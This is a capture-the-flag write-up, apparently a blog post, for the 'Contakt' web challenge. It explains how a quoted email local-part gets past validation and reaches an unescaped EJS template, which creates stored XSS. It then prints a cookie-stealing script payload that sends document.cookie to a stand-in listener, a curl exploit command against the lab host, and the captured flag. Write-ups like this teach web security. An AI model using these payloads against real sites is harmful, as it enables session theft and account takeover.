September 17, 2026
FDC Cyber Talent Qualification — Contakt Web Write-up
Hi, I’m 0xghanim, and in this write-up, we’ll solve the Contakt web from FDC Cyber Talent Qualifications challenge step by step and see how…
By 0xGhanim
3 min read
Hi, I'm 0xghanim, and in this write-up, we'll solve the Contakt web from FDC Cyber Talent Qualifications challenge step by step and see how we can exploit it to get the flag.
Challenge:
1. Reconnaissance
Source Code
We are provided with a folder containing the application's source code, which we can inspect to understand how the web application works and identify potential vulnerabilities.
The challenge presents a simple blog with a Contact functionality.
The interesting functionality is the contact form, which accepts:
nameemailcontent
I started by inspecting the application source code to understand how these parameters are validated and where the submitted data is displayed and tried to test XSS and it gave me Invalid Input.
2. Analyzing the Input Validation
In routes.js, the /contact endpoint validates the submitted parameters:
if(
!emailAddresses.parseOneAddress(email) ||
!/^[a-zA-Z0-9_ ]+$/.test(name) ||
!/^[a-zA-Z0-9_ \n]+$/.test(content)
){
return res.send("Invalid Input");
}if(
!emailAddresses.parseOneAddress(email) ||
!/^[a-zA-Z0-9_ ]+$/.test(name) ||
!/^[a-zA-Z0-9_ \n]+$/.test(content)
){
return res.send("Invalid Input");
}At first glance, both name and content appear protected against HTML/JavaScript injection because they only allow letters, numbers, underscores, spaces, and newlines where applicable.
However, the email parameter uses emailAddresses.parseOneAddress() instead of a restrictive HTML-safe validation.
RFC-compliant email addresses can contain a quoted local-part. For example:
"<script>alert(1)</script>"@example.com"<script>alert(1)</script>"@example.comcan be accepted as a syntactically valid email address by the parser.
This means characters such as
< > / ( ) =< > / ( ) =can potentially enter the application through the email field.
3. Finding the XSS Sink
Next, I checked how the submitted contact information is displayed.
Inside responses.ejs, we find:
<td><%- contact.email %></td><td><%- contact.email %></td>The important part here is:
<%- contact.email %><%- contact.email %>In EJS:
- <%= ... %> → HTML-escaped output
- <%- ... %> → unescaped output
Therefore, our email value is inserted directly into the HTML without being escaped.
This gives us the following flow:
User input
↓
emailAddresses.parseOneAddress()
↓
Stored email
↓
<%- contact.email %>
↓
Raw HTML
↓
JavaScript executionUser input
↓
emailAddresses.parseOneAddress()
↓
Stored email
↓
<%- contact.email %>
↓
Raw HTML
↓
JavaScript executionWe have found a Stored Cross-Site Scripting (Stored XSS) vulnerability.
4. Testing the XSS
Now we can try placing a basic XSS payload inside the quoted local-part:
"<script>alert(1)</script>"@example.com"<script>alert(1)</script>"@example.comThe idea is:
"<payload>"@domain.com"<payload>"@domain.comThe email parser accepts the value as an email address, while the browser can later interpret the injected content as HTML.
So the application is validating the input as an email address, but it is not making sure that the value is safe to insert into HTML.
5. Finding the Admin Bot
Finding the XSS is only part of the challenge.
We need to understand who visits /responses and what information they have.
Looking at routes.js, we can see that the application calls the bot:
bot(`http://127.0.0.1/responses`, flag, admin_token);bot(`http://127.0.0.1/responses`, flag, admin_token);Then, inside utils.js, the bot uses a headless browser to visit:
http://127.0.0.1/responseshttp://127.0.0.1/responsesBefore visiting the page, the bot sets cookies containing sensitive information, including the challenge flag.
So the attack becomes:
Admin Bot
|
|-- Flag cookie
|-- Admin token cookie
|
↓
/responses
|
↓
Stored malicious email
|
↓
JavaScript executesAdmin Bot
|
|-- Flag cookie
|-- Admin token cookie
|
↓
/responses
|
↓
Stored malicious email
|
↓
JavaScript executesThis means our XSS runs inside the admin bot's browser context.
6. Preparing Payload
Since our JavaScript executes in the bot's browser, we can attempt to read cookies accessible to JavaScript using:
document.cookiedocument.cookieThen, we can send the result to a listener that we control:
<script>
fetch('https://YOUR-LISTENER/?c=' + encodeURIComponent(document.cookie))
</script><script>
fetch('https://YOUR-LISTENER/?c=' + encodeURIComponent(document.cookie))
</script>The payload essentially does this:
document.cookie
↓
encodeURIComponent()
↓
Our listenerdocument.cookie
↓
encodeURIComponent()
↓
Our listener7. Final Payload
The final email payload is:
"<script>fetch('https://YOUR-LISTENER/?c='+encodeURIComponent(document.cookie))</script>"@example.com"<script>fetch('https://YOUR-LISTENER/?c='+encodeURIComponent(document.cookie))</script>"@example.comThe other fields can simply be:
name:
test
content:
testname:
test
content:
test8. Exploit
The final exploit is:
curl -X POST 'http://cdcomol2z77dfmz50w93xdxda7zr8p6v40xkxsxzg-web.cybertalentslabs.com/contact' \
--data-urlencode 'name=test' \
--data-urlencode 'content=test' \
--data-urlencode 'email="<script>fetch(`https://YOUR-LISTENER/c?c=`+document.cookie)</script>"@a.com'curl -X POST 'http://cdcomol2z77dfmz50w93xdxda7zr8p6v40xkxsxzg-web.cybertalentslabs.com/contact' \
--data-urlencode 'name=test' \
--data-urlencode 'content=test' \
--data-urlencode 'email="<script>fetch(`https://YOUR-LISTENER/c?c=`+document.cookie)</script>"@a.com'and then the bot will send the cookies (Flag) to my listener
9. Getting the Flag
Finally, we got the flag, but it was URL-encoded.
After decoding it, we get the final flag:
FLAG{QCFAWGY1SUtLSUUwV1hpLzZCMVc2MUFSd1p2QXVYWlI3UlJsS3VZRDlrUFFxND1mZDdkNGU1YmNhMGQzMTQ5}FLAG{QCFAWGY1SUtLSUUwV1hpLzZCMVc2MUFSd1p2QXVYWlI3UlJsS3VZRDlrUFFxND1mZDdkNGU1YmNhMGQzMTQ5}